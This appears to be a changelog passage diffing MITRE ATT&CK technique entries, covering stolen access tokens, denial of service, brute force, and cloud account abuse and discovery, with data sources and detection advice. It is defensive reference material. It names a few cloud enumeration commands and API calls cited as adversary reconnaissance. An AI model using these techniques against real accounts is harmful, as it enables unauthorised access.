| > | sed collaboratively to verify the user and determine what ac | > | ed access token with the privileges of another user account. | ||
| > | tions the user is allowed to perform. Once identity is estab | > | (Citation: Google Cloud Service Account Credentials)(Citatio | ||
| > | lished, the token allows actions to be authorized, without p | > | n: AWS Temporary Security Credentials) The adversary can the | ||
| > | assing the actual credentials of the user. Therefore, compro | > | n use this token to request data or perform actions the orig | ||
| > | mise of the token can grant the adversary access to resource | > | inal account could not. If permissions for this feature are | ||
| > | s of other sites through a malicious application.(Citation: | > | misconfigured – for example, by allowing all users to reques | ||
| > | okta) For example, with a cloud-based email service once an | > | t a token for a particular account - an adversary may be abl | ||
| > | OAuth access token is granted to a malicious application, i | > | e to gain initial access to a Cloud Account or escalate thei | ||
| > | t can potentially gain long-term access to features of the u | > | r privileges.(Citation: Rhino Security Labs Enumerating AWS | ||
| > | ser account if a "refresh" token enabling background access | > | Roles) OAuth is one commonly implemented framework that iss | ||
| > | is awarded.(Citation: Microsoft Identity Platform Access 201 | > | ues tokens to users for access to systems. These frameworks | ||
| > | 9) With an OAuth access token an adversary can use the user- | > | are used collaboratively to verify the user and determine wh | ||
| > | granted REST API to perform functions such as email searchin | > | at actions the user is allowed to perform. Once identity is | ||
| > | g and contact enumeration.(Citation: Staaldraad Phishing wit | > | established, the token allows actions to be authorized, with | ||
| > | h OAuth 2017) Compromised access tokens may be used as an i | > | out passing the actual credentials of the user. Therefore, c | ||
| > | nitial step in compromising other services. For example, if | > | ompromise of the token can grant the adversary access to res | ||
| > | a token grants access to a victim’s primary email, the adver | > | ources of other sites through a malicious application.(Citat | ||
| > | sary may be able to extend access to all other services whic | > | ion: okta) For example, with a cloud-based email service on | ||
| > | h the target subscribes by triggering forgotten password rou | > | ce an OAuth access token is granted to a malicious applicati | ||
| > | tines. Direct API access through a token negates the effecti | > | on, it can potentially gain long-term access to features of | ||
| > | veness of a second authentication factor and may be immune t | > | the user account if a "refresh" token enabling background ac | ||
| > | o intuitive countermeasures like changing passwords. Access | > | cess is awarded.(Citation: Microsoft Identity Platform Acces | ||
| > | abuse over an API channel can be difficult to detect even fr | > | s 2019) With an OAuth access token an adversary can use the | ||
| > | om the service provider end, as the access can still align w | > | user-granted REST API to perform functions such as email sea | ||
| > | ell with a legitimate workflow. | > | rching and contact enumeration.(Citation: Staaldraad Phishin | ||
| > | g with OAuth 2017) Compromised access tokens may be used as | ||||
| > | an initial step in compromising other services. For example | ||||
| > | , if a token grants access to a victim’s primary email, the | ||||
| > | adversary may be able to extend access to all other services | ||||
| > | which the target subscribes by triggering forgotten passwor | ||||
| > | d routines. Direct API access through a token negates the ef | ||||
| > | fectiveness of a second authentication factor and may be imm | ||||
| > | une to intuitive countermeasures like changing passwords. Ac | ||||
| > | cess abuse over an API channel can be difficult to detect ev | ||||
| > | en from the service provider end, as the access can still al | ||||
| > | ign well with a legitimate workflow. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-593 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:40:02.024000+00:00 | 2022-05-20 17:40:20.069000+00:00 |
| description | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017) Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017) Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. |
| external_references[1]['source_name'] | capec | Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/593.html | https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ |
| external_references[2]['source_name'] | Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 | AWS Logging IAM Calls |
| external_references[2]['description'] | Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. | AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022. |
| external_references[2]['url'] | https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ | https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html |
| external_references[3]['source_name'] | okta | AWS Temporary Security Credentials |
| external_references[3]['description'] | okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019. | AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022. |
| external_references[3]['url'] | https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen | https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html |
| external_references[5]['source_name'] | Staaldraad Phishing with OAuth 2017 | Google Cloud Service Account Credentials |
| external_references[5]['description'] | Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019. | Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022. |
| external_references[5]['url'] | https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/ | https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials |
| x_mitre_data_sources[0] | Office 365 audit logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | OAuth audit logs | Web Credential: Web Credential Usage |
| x_mitre_detection | Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. | Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage) |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'GCP Monitoring Service Account Usage', 'description': 'Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.', 'url': 'https://cloud.google.com/iam/docs/service-account-monitoring'} | |
| external_references | {'source_name': 'okta', 'description': 'okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.', 'url': 'https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen'} | |
| external_references | {'source_name': 'Rhino Security Labs Enumerating AWS Roles', 'description': 'Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022.', 'url': 'https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration'} | |
| external_references | {'source_name': 'Staaldraad Phishing with OAuth 2017', 'description': 'Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.', 'url': 'https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/593.html', 'external_id': 'CAPEC-593'} | |
| x_mitre_contributors | Jen Burns, HubSpot | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Containers |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target resource intensive features of web ap | t | 1 | Adversaries may target resource intensive features of applic |
| > | plications to cause a denial of service (DoS). Specific feat | > | ations to cause a denial of service (DoS), denying availabil | ||
| > | ures in web applications may be highly resource intensive. R | > | ity to those applications. For example, specific features in | ||
| > | epeated requests to those features may be able to exhaust sy | > | web applications may be highly resource intensive. Repeated | ||
| > | stem resources and deny access to the application or the ser | > | requests to those features may be able to exhaust system re | ||
| > | ver itself. (Citation: Arbor AnnualDoSreport Jan 2018) | > | sources and deny access to the application or the server its | ||
| > | elf.(Citation: Arbor AnnualDoSreport Jan 2018) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 02:01:10.832000+00:00 | 2022-03-25 18:07:45.176000+00:00 |
| description | Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018) | Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018) |
| x_mitre_data_sources[0] | Network device logs | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network device logs | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web application firewall logs | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web logs | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_platforms | SaaS |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exploit software vulnerabilities that can ca | t | 1 | Adversaries may exploit software vulnerabilities that can ca |
| > | use an application or system to crash and deny availability | > | use an application or system to crash and deny availability | ||
| > | to users. (Citation: Sucuri BIND9 August 2015) Some systems | > | to users. (Citation: Sucuri BIND9 August 2015) Some systems | ||
| > | may automatically restart critical applications and services | > | may automatically restart critical applications and services | ||
| > | when crashes occur, but they can likely be re-exploited to | > | when crashes occur, but they can likely be re-exploited to | ||
| > | cause a persistent DoS condition. | > | cause a persistent denial of service (DoS) condition. Adver | ||
| > | saries may exploit known or zero-day vulnerabilities to cras | ||||
| > | h applications and/or systems, which may also lead to depend | ||||
| > | ent applications and/or systems to be in a DoS condition. Cr | ||||
| > | ashed or restarted applications or systems may also have oth | ||||
| > | er effects such as [Data Destruction](https://attack.mitre.o | ||||
| > | rg/techniques/T1485), [Firmware Corruption](https://attack.m | ||||
| > | itre.org/techniques/T1495), [Service Stop](https://attack.mi | ||||
| > | tre.org/techniques/T1489) etc. which may further cause a DoS | ||||
| > | condition and deny availability to critical information, ap | ||||
| > | plications and/or systems. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 02:07:27.508000+00:00 | 2022-03-25 18:11:13.604000+00:00 |
| description | Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition. | Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition. Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. |
| x_mitre_data_sources[0] | Network device logs | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network intrusion detection system | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Web application firewall logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web logs | Sensor Health: Host Status |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_platforms | SaaS |
Current version: 2.4
Version changed from: 2.1 → 2.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use brute force techniques to gain access to | t | 1 | Adversaries may use brute force techniques to gain access to |
| > | accounts when passwords are unknown or when password hashes | > | accounts when passwords are unknown or when password hashes | ||
| > | are obtained. Without knowledge of the password for an acco | > | are obtained. Without knowledge of the password for an acco | ||
| > | unt or set of accounts, an adversary may systematically gues | > | unt or set of accounts, an adversary may systematically gues | ||
| > | s the password using a repetitive or iterative mechanism. Br | > | s the password using a repetitive or iterative mechanism. Br | ||
| > | ute forcing passwords can take place via interaction with a | > | ute forcing passwords can take place via interaction with a | ||
| > | service that will check the validity of those credentials or | > | service that will check the validity of those credentials or | ||
| > | offline against previously acquired credential data, such a | > | offline against previously acquired credential data, such a | ||
| > | s password hashes. | > | s password hashes. Brute forcing credentials may take place | ||
| > | at various points during a breach. For example, adversaries | ||||
| > | may attempt to brute force access to [Valid Accounts](https | ||||
| > | ://attack.mitre.org/techniques/T1078) within a victim enviro | ||||
| > | nment leveraging knowledge gathered from other post-compromi | ||||
| > | se behaviors such as [OS Credential Dumping](https://attack. | ||||
| > | mitre.org/techniques/T1003), [Account Discovery](https://att | ||||
| > | ack.mitre.org/techniques/T1087), or [Password Policy Discove | ||||
| > | ry](https://attack.mitre.org/techniques/T1201). Adversaries | ||||
| > | may also combine brute forcing activity with behaviors such | ||||
| > | as [External Remote Services](https://attack.mitre.org/techn | ||||
| > | iques/T1133) as part of Initial Access. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 16:38:27.781000+00:00 | 2022-04-19 21:28:49.481000+00:00 |
| description | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. |
| x_mitre_data_sources[0] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Authentication logs | User Account: User Account Authentication |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | Azure AD | IaaS |
| x_mitre_platforms[5] | SaaS | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | AWS | Google Workspace |
| x_mitre_platforms[8] | Azure | Containers |
| x_mitre_version | 2.1 | 2.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | David Fiser, @anu4is, Trend Micro | |
| x_mitre_contributors | Alfredo Oliveira, Trend Micro | |
| x_mitre_contributors | Magno Logan, @magnologan, Trend Micro | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Mohamed Kmal | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | Network |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 12:44:27.995000+00:00 | 2022-04-07 13:09:30.819000+00:00 |
| external_references[2]['source_name'] | Microsoft Support O365 Add Another Admin, October 2019 | AWS Create IAM User |
| external_references[2]['description'] | Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. | AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020. |
| external_references[2]['url'] | https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d | https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html |
| external_references[3]['source_name'] | AWS Create IAM User | GCP Create Cloud Identity Users |
| external_references[3]['description'] | AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020. | Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020. |
| external_references[3]['url'] | https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html | https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554 |
| external_references[4]['source_name'] | GCP Create Cloud Identity Users | Microsoft Azure AD Users |
| external_references[4]['description'] | Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020. | Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020. |
| external_references[4]['url'] | https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554 | https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory |
| external_references[5]['source_name'] | Microsoft Azure AD Users | Microsoft Support O365 Add Another Admin, October 2019 |
| external_references[5]['description'] | Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020. | Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory | https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d |
| x_mitre_data_sources[0] | Office 365 audit logs | User Account: User Account Creation |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | IaaS |
| x_mitre_platforms[3] | Office 365 | Google Workspace |
| x_mitre_platforms[4] | Azure AD | SaaS |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs |
Current version: 1.4
Version changed from: 1.1 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may obtain and abuse credentials of a cloud acco | t | 1 | Adversaries may obtain and abuse credentials of a cloud acco |
| > | unt as a means of gaining Initial Access, Persistence, Privi | > | unt as a means of gaining Initial Access, Persistence, Privi | ||
| > | lege Escalation, or Defense Evasion. Cloud accounts are thos | > | lege Escalation, or Defense Evasion. Cloud accounts are thos | ||
| > | e created and configured by an organization for use by users | > | e created and configured by an organization for use by users | ||
| > | , remote support, services, or for administration of resourc | > | , remote support, services, or for administration of resourc | ||
| > | es within a cloud service provider or SaaS application. In s | > | es within a cloud service provider or SaaS application. In s | ||
| > | ome cases, cloud accounts may be federated with traditional | > | ome cases, cloud accounts may be federated with traditional | ||
| > | identity management system, such as Window Active Directory. | > | identity management system, such as Window Active Directory. | ||
| > | (Citation: AWS Identity Federation)(Citation: Google Federa | > | (Citation: AWS Identity Federation)(Citation: Google Federat | ||
| > | ting GC)(Citation: Microsoft Deploying AD Federation) Compr | > | ing GC)(Citation: Microsoft Deploying AD Federation) Compro | ||
| > | omised credentials for cloud accounts can be used to harvest | > | mised credentials for cloud accounts can be used to harvest | ||
| > | sensitive data from online storage accounts and databases. | > | sensitive data from online storage accounts and databases. A | ||
| > | Access to cloud accounts can also be abused to gain Initial | > | ccess to cloud accounts can also be abused to gain Initial A | ||
| > | Access to a network by abusing a [Trusted Relationship](http | > | ccess to a network by abusing a [Trusted Relationship](https | ||
| > | s://attack.mitre.org/techniques/T1199). Similar to [Domain A | > | ://attack.mitre.org/techniques/T1199). Similar to [Domain Ac | ||
| > | ccounts](https://attack.mitre.org/techniques/T1078/002), com | > | counts](https://attack.mitre.org/techniques/T1078/002), comp | ||
| > | promise of federated cloud accounts may allow adversaries to | > | romise of federated cloud accounts may allow adversaries to | ||
| > | more easily move laterally within an environment. | > | more easily move laterally within an environment. Once a cl | ||
| > | oud account is compromised, an adversary may perform [Accoun | ||||
| > | t Manipulation](https://attack.mitre.org/techniques/T1098) - | ||||
| > | for example, by adding [Additional Cloud Roles](https://att | ||||
| > | ack.mitre.org/techniques/T1098/003) - to maintain persistenc | ||||
| > | e and potentially escalate their privileges. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Jon Sternstein, Stern Security'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:01:22.090000+00:00 | 2022-04-19 20:23:33.894000+00:00 |
| description | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation) Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment. | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation) Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment. Once a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges. |
| x_mitre_data_sources[0] | Azure activity logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Logon Session: Logon Session Metadata |
| x_mitre_platforms[0] | AWS | Azure AD |
| x_mitre_platforms[1] | GCP | Office 365 |
| x_mitre_platforms[2] | Azure | SaaS |
| x_mitre_platforms[3] | SaaS | IaaS |
| x_mitre_platforms[4] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to find cloud groups and permission | t | 1 | Adversaries may attempt to find cloud groups and permission |
| > | settings. The knowledge of cloud permission groups can help | > | settings. The knowledge of cloud permission groups can help | ||
| > | adversaries determine the particular roles of users and grou | > | adversaries determine the particular roles of users and grou | ||
| > | ps within an environment, as well as which users are associa | > | ps within an environment, as well as which users are associa | ||
| > | ted with a particular group. With authenticated access ther | > | ted with a particular group. With authenticated access ther | ||
| > | e are several tools that can be used to find permissions gro | > | e are several tools that can be used to find permissions gro | ||
| > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | ||
| > | used to obtain roles and permissions groups for Exchange and | > | used to obtain roles and permissions groups for Exchange and | ||
| > | Office 365 accounts.(Citation: Microsoft Msolrole)(Citation | > | Office 365 accounts (Citation: Microsoft Msolrole)(Citation | ||
| > | : GitHub Raindance) Azure CLI (AZ CLI) also provides an int | > | : GitHub Raindance). Azure CLI (AZ CLI) and the Google Clou | ||
| > | erface to obtain permissions groups with authenticated acces | > | d Identity Provider API also provide interfaces to obtain pe | ||
| > | s to a domain. The command <code>az ad user get-member-group | > | rmissions groups. The command <code>az ad user get-member-gr | ||
| > | s</code> will list groups associated to a user account.(Cita | > | oups</code> will list groups associated to a user account fo | ||
| > | tion: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS | > | r Azure while the API endpoint <code>GET https://cloudidenti | ||
| > | AD Azure, 2018) | > | ty.googleapis.com/v1/groups</code> lists group resources ava | ||
| > | ilable to a user for Google.(Citation: Microsoft AZ CLI)(Cit | ||||
| > | ation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: | ||||
| > | Google Cloud Identity API Documentation) Adversaries may at | ||||
| > | tempt to list ACLs for objects to determine the owner and ot | ||||
| > | her accounts with access to the object, for example, via the | ||||
| > | AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket | ||||
